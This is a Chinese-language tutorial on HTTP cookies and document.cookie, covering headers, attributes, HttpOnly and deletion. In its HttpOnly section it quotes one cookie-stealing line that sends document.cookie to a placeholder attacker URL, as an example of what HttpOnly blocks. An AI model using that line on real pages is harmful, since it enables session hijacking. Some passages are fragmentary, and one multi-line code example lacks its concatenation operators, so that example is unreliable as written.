摘要：追蹤記錄和分析用戶行為。屬性返回一個(gè)布爾值，表示瀏覽器是否打開(kāi)功能不同瀏覽器對(duì)數(shù)量和大小的限制，是不一樣的。請(qǐng)求的發(fā)送瀏覽器向服務(wù)器發(fā)送請(qǐng)求時(shí)，每個(gè)請(qǐng)求都會(huì)帶上相應(yīng)的。屬性必須為絕對(duì)路徑，默認(rèn)為當(dāng)前路徑。屬性值必須是當(dāng)前發(fā)送的域名的一部分。

概述
Cookie 與 HTTP 協(xié)議
HTTP 回應(yīng)：Cookie 的生成
HTTP 請(qǐng)求：Cookie 的發(fā)送
Cookie 的屬性
Expires，Max-Age
Domain，Path
Secure，HttpOnly
document.cookie

1.Cookie 主要用來(lái)分辨兩個(gè)請(qǐng)求是否來(lái)自同一個(gè)瀏覽器，以及用來(lái)保存一些狀態(tài)信息

常用場(chǎng)合有以下一些。

對(duì)話（session）管理：保存登錄、購(gòu)物車等需要記錄的信息。
個(gè)性化：保存用戶的偏好，比如網(wǎng)頁(yè)的字體大小、背景色等等。
追蹤：記錄和分析用戶行為。

2.Cookie 是服務(wù)器保存在瀏覽器的一小段文本信息，每個(gè) Cookie 的大小一般不能超過(guò)4KB。瀏覽器每次向服務(wù)器發(fā)出請(qǐng)求，就會(huì)自動(dòng)附上這段信息（不同源的不附上）

3.用作客戶端存儲(chǔ)的缺點(diǎn)是 容量小，缺乏數(shù)據(jù)操作借口?？蛻舳藘?chǔ)存應(yīng)該使用 Web storage API 和 IndexedDB。

4.Cookie 包含以下幾方面的信息。

Cookie 的名字
Cookie 的值（真正的數(shù)據(jù)寫在這里面）
到期時(shí)間
所屬域名（默認(rèn)是當(dāng)前域名）
生效的路徑（默認(rèn)是當(dāng)前網(wǎng)址）

舉例來(lái)說(shuō)，用戶訪問(wèn)網(wǎng)址www.example.com，服務(wù)器在瀏覽器寫入一個(gè) Cookie。這個(gè) Cookie 就會(huì)包含www.example.com這個(gè)域名，以及根路徑/。這意味著，這個(gè) Cookie 對(duì)該域名的根路徑和它的所有子路徑都有效。如果路徑設(shè)為/forums，那么這個(gè) Cookie 只有在訪問(wèn)www.example.com/forums及其子路徑時(shí)才有效。以后，瀏覽器一旦訪問(wèn)這個(gè)路徑，瀏覽器就會(huì)附上這段 Cookie 發(fā)送給服務(wù)器

瀏覽器可以設(shè)置不接受 Cookie，也可以設(shè)置不向服務(wù)器發(fā)送 Cookie。window.navigator.cookieEnabled屬性返回一個(gè)布爾值，表示瀏覽器是否打開(kāi) Cookie 功能

不同瀏覽器對(duì) Cookie 數(shù)量和大小的限制，是不一樣的。一般來(lái)說(shuō)，單個(gè)域名設(shè)置的 Cookie 不應(yīng)超過(guò)30個(gè)，每個(gè) Cookie 的大小不能超過(guò)4KB。超過(guò)限制以后，Cookie 將被忽略，不會(huì)被設(shè)置

瀏覽器的同源政策規(guī)定，兩個(gè)網(wǎng)址只要域名相同和端口相同，就可以共享 Cookie（參見(jiàn)《同源政策》一章）。注意，這里不要求協(xié)議相同。也就是說(shuō)，http://example.com設(shè)置的 Cookie，可以被https://example.com讀取。比如父子窗口之間

服務(wù)器如果希望在瀏覽器保存 Cookie，就要在 HTTP 回應(yīng)的頭信息里面，放置一個(gè)Set-Cookie字段。

Set-Cookie:foo=bar

上面代碼會(huì)在瀏覽器保存一個(gè)名為foo的 Cookie，它的值為bar。
HTTP 回應(yīng)可以包含多個(gè)Set-Cookie字段，即在瀏覽器生成多個(gè) Cookie。下面是一個(gè)例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值，Set-Cookie字段還可以附加 Cookie 的屬性。

Set-Cookie: =; Expires=
Set-Cookie: =; Max-Age=
Set-Cookie: =; Domain=
Set-Cookie: =; Path=
Set-Cookie: =; Secure
Set-Cookie: =; HttpOnly

改變一個(gè)早先設(shè)置的 Cookie，必須同時(shí)滿足四個(gè)條件：Cookie 的key、domain、path和secure都匹配。舉例來(lái)說(shuō)，如果原始的 Cookie 是用如下的Set-Cookie設(shè)置的

瀏覽器將向服務(wù)器發(fā)送兩個(gè)同名的 Cookie。

Cookie: key1=value1; key1=value2
上面代碼的兩個(gè) Cookie 是同名的，匹配越精確的 Cookie 排在越前面

Cookie字段可以包含多個(gè) Cookie，使用分號(hào)（;）分隔

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服務(wù)器收到瀏覽器發(fā)來(lái)的 Cookie 時(shí)，有兩點(diǎn)是無(wú)法知道的。

Cookie 的各種屬性，比如何時(shí)過(guò)期。
哪個(gè)域名設(shè)置的 Cookie，到底是一級(jí)域名設(shè)的，還是某一個(gè)二級(jí)域名設(shè)的。

瀏覽器向服務(wù)器發(fā)送 HTTP 請(qǐng)求時(shí)，每個(gè)請(qǐng)求都會(huì)帶上相應(yīng)的 Cookie。也就是說(shuō)，把服務(wù)器早前保存在瀏覽器的這段信息，再發(fā)回服務(wù)器。這時(shí)要使用 HTTP 頭信息的Cookie字段。

Expires，Max-Age

Expires屬性指定一個(gè)具體的到期時(shí)間，到了指定時(shí)間以后，瀏覽器就不再保留這個(gè) Cookie。它的值是 UTC 格式，可以使用Date.prototype.toUTCString()進(jìn)行格式轉(zhuǎn)換。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不設(shè)置該屬性，或者設(shè)為null，Cookie 只在當(dāng)前會(huì)話（session）有效，瀏覽器窗口一旦關(guān)閉，當(dāng)前 Session 結(jié)束，該 Cookie 就會(huì)被刪除

Max-Age屬性指定從現(xiàn)在開(kāi)始 Cookie 存在的秒數(shù)，比如60 60 24 * 365（即一年）。過(guò)了這個(gè)時(shí)間以后，瀏覽器就不再保留這個(gè) Cookie。

如果同時(shí)指定了Expires和Max-Age，那么Max-Age的值將優(yōu)先生效。

Domain屬性指定瀏覽器發(fā)出 HTTP 請(qǐng)求時(shí)，哪些域名要附帶這個(gè) Cookie

如果沒(méi)有指定該屬性，瀏覽器會(huì)默認(rèn)將其設(shè)為當(dāng)前域名，這時(shí)子域名將不會(huì)附帶這個(gè) Cookie。
比如，example.com不設(shè)置 Cookie 的domain屬性，那么sub.example.com將不會(huì)附帶這個(gè) Cookie。
如果指定了domain屬性，那么子域名也會(huì)附帶這個(gè) Cookie。
如果服務(wù)器指定的域名不屬于當(dāng)前域名，瀏覽器會(huì)拒絕這個(gè) Cookie。

Path屬性指定瀏覽器發(fā)出 HTTP 請(qǐng)求時(shí)，哪些路徑要附帶這個(gè) Cookie。只要瀏覽器發(fā)現(xiàn)，Path屬性是 HTTP 請(qǐng)求路徑的開(kāi)頭一部分，就會(huì)在頭信息里面帶上這個(gè) Cookie。比如，PATH屬性是/，那么請(qǐng)求/docs路徑也會(huì)包含該 Cookie。當(dāng)然，前提是域名必須一致。

只在https發(fā)送

HttpOnly屬性指定該 Cookie 無(wú)法通過(guò) JavaScript 腳本拿到，主要是document.cookie屬性、XMLHttpRequest對(duì)象和 Request API 都拿不到該屬性。這樣就防止了該 Cookie 被腳本讀到，只有瀏覽器發(fā)出 HTTP 請(qǐng)求時(shí)，才會(huì)帶上該 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點(diǎn)載入的一個(gè)惡意腳本的代碼，能夠?qū)?dāng)前網(wǎng)頁(yè)的 Cookie 發(fā)往第三方服務(wù)器。如果設(shè)置了一個(gè) Cookie 的HttpOnly屬性，上面代碼就不會(huì)讀到該 Cookie。

document.cookie屬性用于讀寫當(dāng)前網(wǎng)頁(yè)的 Cookie。

讀取的時(shí)候，它會(huì)返回當(dāng)前網(wǎng)頁(yè)的所有 Cookie，前提是該 Cookie 不能有HTTPOnly屬性。

document.cookie屬性是可寫的，可以通過(guò)它為當(dāng)前網(wǎng)站添加 Cookie。

document.cookie = "fontSize=14";

但是，document.cookie一次只能寫入一個(gè) Cookie，而且寫入并不是覆蓋，而是添加。

document.cookie = "test1=hello";
document.cookie = "test2=world";
document.cookie
// test1=hello;test2=world
document.cookie讀寫行為的差異（一次可以讀出全部 Cookie，但是只能寫入一個(gè) Cookie），與 HTTP 協(xié)議的 Cookie 通信格式有關(guān)。瀏覽器向服務(wù)器發(fā)送 Cookie 的時(shí)候，Cookie字段是使用一行將所有 Cookie 全部發(fā)送；服務(wù)器向?yàn)g覽器設(shè)置 Cookie 的時(shí)候，Set-Cookie字段是一行設(shè)置一個(gè) Cookie。

各個(gè)屬性的寫入注意點(diǎn)如下。

path屬性必須為絕對(duì)路徑，默認(rèn)為當(dāng)前路徑。
domain屬性值必須是當(dāng)前發(fā)送 Cookie 的域名的一部分。比如，當(dāng)前域名是example.com，就不能將其設(shè)為foo.com。該屬性默認(rèn)為當(dāng)前的一級(jí)域名（不含二級(jí)域名）。
max-age屬性的值為秒數(shù)。
expires屬性的值為 UTC 格式，可以使用Date.prototype.toUTCString()進(jìn)行日期格式轉(zhuǎn)換。

document.cookie寫入 Cookie 的例子如下。

document.cookie = "fontSize=14; "

"expires=" + someDate.toGMTString() + "; "

"path=/subdirectory; "

"domain=*.example.com";

Cookie 的屬性一旦設(shè)置完成，就沒(méi)有辦法讀取這些屬性的值。

刪除一個(gè)現(xiàn)存 Cookie 的唯一方法，是設(shè)置它的expires屬性為一個(gè)過(guò)去的日期。

document.cookie = "fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT";
上面代碼中，名為fontSize的 Cookie 的值為空，過(guò)期時(shí)間設(shè)為1970年1月1月零點(diǎn)，就等同于刪除了這個(gè) Cookie